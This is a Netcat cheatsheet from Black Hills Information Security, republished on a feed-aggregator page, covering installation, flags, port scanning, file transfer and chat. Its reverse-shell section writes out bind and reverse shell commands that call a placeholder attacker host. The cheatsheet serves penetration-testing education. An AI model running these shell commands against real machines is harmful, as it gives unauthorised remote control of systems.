惯性聚合 高效追踪和阅读你感兴趣的博客、新闻、科技资讯
阅读原文 在惯性聚合中打开

推荐订阅源

博客园 - 叶小钗
O
OpenAI News
V
V2EX
大猫的无限游戏
大猫的无限游戏
博客园 - 聂微东
S
Schneier on Security
C
CXSECURITY Database RSS Feed - CXSecurity.com
小众软件
小众软件
L
LINUX DO - 热门话题
C
Cybersecurity and Infrastructure Security Agency CISA
博客园 - Franky
Security Latest
Security Latest
S
SegmentFault 最新的问题
Project Zero
Project Zero
Spread Privacy
Spread Privacy
K
Kaspersky official blog
J
Java Code Geeks
V
Vulnerabilities – Threatpost
C
Cisco Blogs
C
CERT Recently Published Vulnerability Notes
月光博客
月光博客
T
The Exploit Database - CXSecurity.com
L
Lohrmann on Cybersecurity
人人都是产品经理
人人都是产品经理
博客园 - 三生石上(FineUI控件)
Scott Helme
Scott Helme
WordPress大学
WordPress大学
量子位
T
Threat Research - Cisco Blogs
OSCHINA 社区最新新闻
OSCHINA 社区最新新闻
宝玉的分享
宝玉的分享
Hugging Face - Blog
Hugging Face - Blog
AWS News Blog
AWS News Blog
Help Net Security
Help Net Security
Application and Cybersecurity Blog
Application and Cybersecurity Blog
Simon Willison's Weblog
Simon Willison's Weblog
S
Secure Thoughts
博客园 - 【当耐特】
cs.CV updates on arXiv.org
cs.CV updates on arXiv.org
V
Visual Studio Blog
Last Week in AI
Last Week in AI
T
Tailwind CSS Blog
腾讯CDC
Cyberwarzone
Cyberwarzone
IT之家
IT之家
GbyAI
GbyAI
Exploit-DB.com RSS Feed
Exploit-DB.com RSS Feed
云风的 BLOG
云风的 BLOG
T
Troy Hunt's Blog
D
Docker

Black Hills Information Security, Inc.

Bad Habits: An ANTISOC Operation Same Problem, Different Angles: When Red Team and Blue Team Actually Talk to Each Other How to Identify and Exploit New Vulnerabilities Swapper – A Pure Regex Match/Replace Burp Extension A Practical Guide to BloodHound Data Collection Network Engineering Basics Signed, Trusted, and Abused: Proxy Execution via WebView2 Getting Started In Pentesting – Advice From The BHIS Pentest Lead Cloud Security: Tips and Resources for Securing the Cloud Lessons From A Chatbot Incident How to Lead Effective Tabletops Understanding GRC: How to Navigate Risks and Compliance Standards The “P” in PAM is for Persistence: Linux Persistence Technique Malware Analysis: How to Analyze and Understand Malware OSINT: How to Find, Use, and Control Open-Source Intelligence What to Do with Your First Home Lab When the SOC Goes to Deadwood: A Night to Remember Social Engineering and Microsoft SSPR: The Road to Pwnage is Paved with Good Intentions Common Cyber Threats Finding the Right Penetration Testing Company Deceptive-Auditing: An Active Directory Honeypots Tool The Curious Case of the Comburglar How to Set Smart Goals (That Actually Work For You) Inside the BHIS SOC: A Conversation with Hayden Covington Abusing Delegation with Impacket (Part 3): Resource-Based Constrained Delegation Why You Got Hacked – 2025 Super Edition Abusing Delegation with Impacket (Part 2): Constrained Delegation Abusing Delegation with Impacket (Part 1): Unconstrained Delegation GoSpoof – Turning Attacks into Intel Model Context Protocol (MCP) Bypassing WAFs Using Oversized Requests Getting Started with AI Hacking Part 2: Prompt Injection Wrangling Windows Event Logs with Hayabusa & SOF-ELK (Part 2) DomCat: A Domain Categorization Tool Wrangling Windows Event Logs with Hayabusa & SOF-ELK (Part 1) Microsoft Store and WinGet: Security Risks for Corporate Environments Default Web Content MailFail Commonly Abused Administrative Utilities: A Hidden Risk to Enterprise Security Stop Spoofing Yourself! Disabling M365 Direct Send Bypassing CSP with JSONP: Introducing JSONPeek and CSP B Gone Offensive Tooling Cheatsheets: An Infosec Survival Guide Resource DNS Triage Cheatsheet GraphRunner Cheatsheet Burp Suite Cheatsheet Impacket Cheatsheet Wireshark Cheatsheet Hashcat Cheatsheet EyeWitness Cheatsheet Nmap Cheatsheet Hunt for Weak Spots in Your Wireless Network with Airodump-ng from the Aircrack-ng Suite Detecting ADCS Privilege Escalation Vulnerability Scanning with Nmap Getting Started with NetExec: Streamlining Network Discovery and Access How to Use Dirsearch Augmenting Penetration Testing Methodology with Artificial Intelligence – Part 3: Arcanum Cyber Security Bot How to Design and Execute Effective Social Engineering Attacks by Phone Abusing S4U2Self for Active Directory Pivoting Why Use a Macro Pad? Espanso: Text Replacement, the Easy Way Caging Copilot: Lessons Learned in LLM Security Augmenting Penetration Testing Methodology with Artificial Intelligence – Part 2: Copilot Augmenting Penetration Testing Methodology with Artificial Intelligence – Part 1: Burpference Intercepting Traffic for Mobile Applications that Bypass the System Proxy How to Root Android Phones Communicating Security to the C-Suite: A Strategic Approach Offline Memory Forensics With Volatility Getting Started with AI Hacking: Part 1 Go-Spoof: A Tool for Cyber Deception How to Test Adversary-in-the-Middle Without Hacking Tools Canary in the Code: Alert()-ing on XSS Exploits How to Hack Wi-Fi with No Wi-Fi Why Your Org Needs a Penetration Test Program Burp Suite Extension: Copy For Light at the End of the Dark Web Wi-Fi Forge: Practice Wi-Fi Security Without Hardware Avoiding Dirty RAGs: Retrieval-Augmented Generation with Ollama and LangChain Gone Phishing: Installing GoPhish and Creating a Campaign 5 Things We Are Going to Continue to Ignore in 2025 John Strand’s 5 Phase Plan For Starting in Computer Security Questions From a Beginner Threat Hunter GRC for Security Managers: From Checklists to Influence AI Large Language Models and Supervised Fine Tuning Attack Tactics 9: Shadow Creds for PrivEsc w/ Kent & Jordan One Active Directory Account Can Be Your Best Early Warning Introduction to Zeek Log Analysis Indecent Exposure: Your Secrets are Showing Creating Burp Extensions: A Beginner’s Guide Pitting AI Against AI: Using PyRIT to Assess Large Language Models (LLMs) The Top Ten List of Why You Got Hacked This Year (2023/2024) ICS Hard Knocks: Mitigations to Scenarios Found in ICS/OT Backdoors & Breaches Intro to Data Analytics Using SQL Finding Access Control Vulnerabilities with Autorize The Detection Engineering Process Cyber Risk Lessons We Can Learn From Hurricane Preparedness Intro to Desktop Application Testing Methodology What Is Penetration Testing? Adversary in the Middle (AitM): Post-Exploitation Pentesting, Threat Hunting, and SOC: An Overview QEMU, MSYS2, and Emacs: Open-Source Solutions to Run Virtual Machines on Windows
Netcat (nc) Cheatsheet
BHIS · 2025-08-06 · via Black Hills Information Security, Inc.

Written by Rachit Arora || Revised by Dave Blandford 

This blog is part of Offensive Tooling Cheatsheets: An Infosec Survival Guide Resource. You can learn more and find all of the cheatsheets HERE: https://www.blackhillsinfosec.com/offensive-tooling-cheatsheets/

Netcat (nc) Cheatsheet: PRINT-FRIENDLY PDF

Find the tool here —


Netcat is a network utility tool that has earned the nickname “The Swiss Army Knife” of networking. It can be used for file transfers, chat/messaging between systems, port scanning, and much more. Netcat operates by reading and writing data across network connections using TCP and UDP. 

How to Install: 

Kali Linux 

Netcat is available in multiple versions. You can choose one depending on your needs: 

Ncat (Nmap’s Netcat reimplementation): 

sudo apt install ncat 

OpenBSD Netcat: 

sudo apt install netcat-openbsd 

Traditional Netcat: 

sudo apt install netcat-traditional 

Arch Linux 

GNU Netcat: 

sudo pacman -S gnu-netcat 

OpenBSD Netcat: 

sudo pacman -S openbsd-netcat 

MacOS 

Install using Homebrew: 

brew install netcat 

Windows 

Your best bet is to use Ncat, which is included with the Nmap suite: 

Ensure the Ncat checkbox is selected when installing Nmap.

Explanation of Flags: 

-zZero-I/O mode, used for scanning ports without sending data.
-vVerbose mode, displays additional details of the connection. 
-vvVery verbose, shows even more detailed information. 
-nNumeric-only IP addresses, no DNS resolution.  
-uUse UDP. 
-lListen mode, allows Netcat to wait for incoming connections. 
-p <port>Specifies the local port to use for the connection; not just for listening. 
-e <program>Executes the specified program (like /bin/bash) upon connection. 
-w <seconds>Specifies a timeout in seconds for connections.
-X <proxy_type>Use a proxy (CONNECT, SOCKS4, SOCKS5) to route Netcat traffic.
Note: This flag is supported in the OpenBSD version of Netcat (and tools like Ncat from Nmap), but not in the traditional GNU version. 
-x <proxy_ip:proxy_port>Defines the proxy IP and port for tunneling traffic. 
Same note: Available in OpenBSD Netcat and Ncat, not in GNU Netcat-traditional. 

1. Basic Connectivity 

Check if a specific port is open or closed: 

nc -zv <target_ip> <port> 

Scan multiple ports on a target: 

nc -zv <target_ip> 20-100 

Scan all ports with a timeout: 

nc -zv -w1 <target_ip> 1-65535 

2. Establishing Connections 

Connect to a TCP service: 

nc <target_ip> <port> 

Connect to a UDP service: 

nc -u <target_ip> <port> 

Listen for incoming TCP connections: 

nc -lvp <port> 

Listen for incoming UDP connections: 

nc -ulvp <port>

3. Sending and Receiving Messages 

Send a message to a Netcat listener: 

echo "Hello, Netcat" | nc <target_ip> <port> 

Receive messages on a listening Netcat server: 

nc -lvp <port> 

4. File Transfer Using Netcat 

Send a file over Netcat (sender): 

cat file.txt | nc <target_ip> <port> 

Receive a file with Netcat (receiver): 

nc -lvp <port> > received.txt 

5. Netcat as a Chat Server 

Start a simple chat server (listener): 

nc -lvp <port> 

Connect to the chat server (client): 

nc <server_ip> <port> 

When one Netcat instance connects to another, they form a bidirectional pipe. Netcat reads from stdin (your keyboard) and writes to stdout (your screen). This setup allows both users to type and see each other’s messages in real time—effectively creating a minimal chat environment using only the terminal. 

6. Reverse Shells 

Bind a shell for remote access (attacker-controlled listener): 

nc -lvp <port> -e /bin/bash

Reverse shell (victim-controlled): 

nc <attacker_ip> <port> -e /bin/bash 

Reverse shell over UDP —

Attacker-controlled listener:

nc -lu -p <port> 

Command to run on victim machine:

mkfifo fifo && nc -u <attacker_ip> <port> < fifo | { echo "shell ready"; bash; } > fifo 

7. Network Scanning and Enumeration 

Grab service banners from open ports: 

nc -v <target_ip> <port> 

For web services (HTTP/HTTPS), type the following after connecting and press Enter twice: 

HEAD / HTTP/1.0 

Manually interact with an FTP server: 

nc <ftp_server_ip> 21 

8. Web and Network Testing 

Check if RDP (Remote Desktop Protocol) is open: 

nc -zv <target_ip> 3389 

Check if SMB (Windows File Sharing) is enabled: 

nc -zv <target_ip> 445 


Explore the Infosec Survival Guide and more… for FREE!

Get instant access to all issues of the Infosec Survival Guide, as well as content like our self-published infosec zine, PROMPT#, and exclusive Darknet Diaries comics—all available at no cost.

You can check out all current and upcoming issues here: https://www.blackhillsinfosec.com/prompt-zine/